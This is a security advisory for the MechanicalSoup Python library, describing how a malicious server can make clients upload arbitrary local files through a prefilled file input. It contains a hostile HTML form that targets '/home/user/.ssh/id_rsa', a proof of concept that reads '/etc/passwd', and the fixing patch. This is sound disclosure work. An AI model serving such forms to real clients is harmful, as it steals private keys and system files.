GHSA-x456-3ccm-m6j4

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    GHSA-x456-3ccm-m6j4

    Published: 5 Jul 2023Last Modified: 10 Sept 2026

    Summary: MechanicalSoup vulnerable to malicious web server reading arbitrary files on client using file input inside HTML form

    Details: ### Summary A malicious web server can read arbitrary files on the client using a `<input type="file" ...>` inside HTML form. ### Details This affects the extremely common pattern of form submission: ```python b = mechanicalsoup.StatefulBrowser() b.select_form(...) b.submit_selected() ``` The problem is with the code in `browser.Browser.get_request_kwargs`: ```python if tag.get("type", "").lower() == "file" and multipart: filepath = value if filepath != "" and isinstance(filepath, str): content = open(filepath, "rb") else: content = "" filename = os.path.basename(filepath) # If value is the empty string, we still pass it # for consistency with browsers (see # https://github.com/MechanicalSoup/MechanicalSoup/issues/250). files[name] = (filename, content) ``` The file path is taken from the bs4 tag "value" attribute. However, this path will default to whatever the server sends. So if a malicious web server were to send something like: ```html <html><body> <form method="post" enctype="multipart/form-data"> <input type="text" name="greeting" value="hello" /> <input type="file" name="evil" value="/home/user/.ssh/id_rsa" /> </form> </body></html> ``` then upon `.submit_selected()` the mechanicalsoup browser will happily send over the contents of your SSH private key. ### PoC ```python import attr import mechanicalsoup import requests class NevermindError(Exception): pass @attr.s class FakeSession: session = attr.ib() headers = property(lambda self: self.session.headers) def request(self, *args, **kwargs): print("requested", args, kwargs) raise NevermindError # don't actually send request def demonstrate(inputs=None): b = mechanicalsoup.StatefulBrowser(FakeSession(requests.Session())) b.open_fake_page("""\ <html><body> <form method="post" enctype="multipart/form-data"> <input type="text" name="greeting" value="hello" /> <input type="file" name="evil" value="/etc/passwd" /> <input type="file" name="second" /> </form> </body></html> """, url="http://127.0.0.1:9/") b.select_form() if inputs is not None: b.form.set_input(inputs) try: b.submit_selected() except NevermindError: pass # %% # unpatched demonstrate() # OUTPUT: requested () {'method': 'post', 'url': 'http://127.0.0.1:9/', 'files': {'evil': ('passwd', <_io.BufferedReader name='/etc/passwd'>), 'second': ('', '')}, 'headers': {'Referer': 'http://127.0.0.1:9/'}, 'data': [('greeting', 'hello')]} # %% # with the patch, this now works. users MUST open the file manually and # use browser.set_input() using the file object. demonstrate({"greeting": "hiya", "evil": open("/etc/hostname", "rb").name, "second": open("/dev/null", "rb")}) # OUTPUT: requested () {'method': 'post', 'url': 'http://127.0.0.1:9/', 'files': {'evil': ('hostname', <_io.BufferedReader name='/etc/hostname'>), 'second': ('null', <_io.BufferedReader name='/dev/null'>)}, 'headers': {'Referer': 'http://127.0.0.1:9/'}, 'data': [('greeting', 'hiya')]} # %% # with the patch, this raises a ValueError with a helpful string demonstrate({"evil": "/etc/hostname"}) # %% # with the patch, we silently send no file if a malicious server tries the attack: demonstrate() ``` ### Suggested patch ```diff diff --git a/mechanicalsoup/browser.py b/mechanicalsoup/browser.py index 285f8bb..68bc65e 100644 --- a/mechanicalsoup/browser.py +++ b/mechanicalsoup/browser.py @@ -1,7 +1,8 @@ +import io import os import tempfile import urllib import weakref import webbrowser import bs4 @@ -227,15 +228,21 @@ class Browser: value = tag.get("value", "") # If the enctype is not multipart, the filename is put in # the form as a text input and the file is not sent. if tag.get("type", "").lower() == "file" and multipart: filepath = value if filepath != "" and isinstance(filepath, str): - content = open(filepath, "rb") + content = getattr(tag, "_mechanicalsoup_file", None) + if content is False: + raise ValueError( + """From v1.3.0 onwards, you must pass an open file object directly, for example using `form.set_input({"name": open("/path/to/filename", "rb")})`. This change is to mitigate a security vulnerability where a malicious web server could read arbitrary files from the client.""" + ) + elif not isinstance(content, io.IOBase): + content = "" else: content = "" filename = os.path.basename(filepath) # If value is the empty string, we still pass it # for consistency with browsers (see # https://github.com/MechanicalSoup/MechanicalSoup/issues/250). files[name] = (filename, content) diff --git a/mechanicalsoup/form.py b/mechanicalsoup/form.py index a67195c..82f6015 100644 --- a/mechanicalsoup/form.py +++ b/mechanicalsoup/form.py @@ -1,8 +1,9 @@ import copy +import io import warnings from bs4 import BeautifulSoup from .utils import LinkNotFoundError @@ -64,15 +65,24 @@ class Form: give it the value ``password``. """ for (name, value) in data.items(): i = self.form.find("input", {"name": name}) if not i: raise InvalidFormMethod("No input field named " + name) - i["value"] = value + + if isinstance(value, io.IOBase): + # Store the actual file object for <input type="file"> + i._mechanicalsoup_file = value + i["value"] = value.name + else: + # We set `_mechanicalsoup_file` to `False` so that we can + # check for deprecated use of the API. + i._mechanicalsoup_file = False + i["value"] = value def uncheck_all(self, name): """Remove the *checked*-attribute of all input elements with a *name*-attribute given by ``name``. """ for option in self.form.find_all("input", {"name": name}): if "checked" in option.attrs: @@ -257,20 +267,20 @@ class Form: .. code-block:: python form.set("login", username) form.set("password", password) form.set("eula-checkbox", True) Example: uploading a file through a ``<input type="file" - name="tagname">`` field (provide the path to the local file, + name="tagname">`` field (provide an open file object, and its content will be uploaded): .. code-block:: python - form.set("tagname", path_to_local_file) + form.set("tagname", open(path_to_local_file, "rb")) """ for func in ("checkbox", "radio", "input", "textarea", "select"): try: getattr(self, "set_" + func)({name: value}) return except InvalidFormMethod: ``` ### Impact All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values.

    Affected packages

    Package

    Name: mechanicalsoup

    Purl: pkg:pypi/mechanicalsoup

    Affected ranges

    Type: ECOSYSTEM

    Events:

    Introduced- 0.2.0
    Fixed -1.3.0

    Affected versions

    0.10.0

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-x456-3ccm-m6j4 | CVE-DB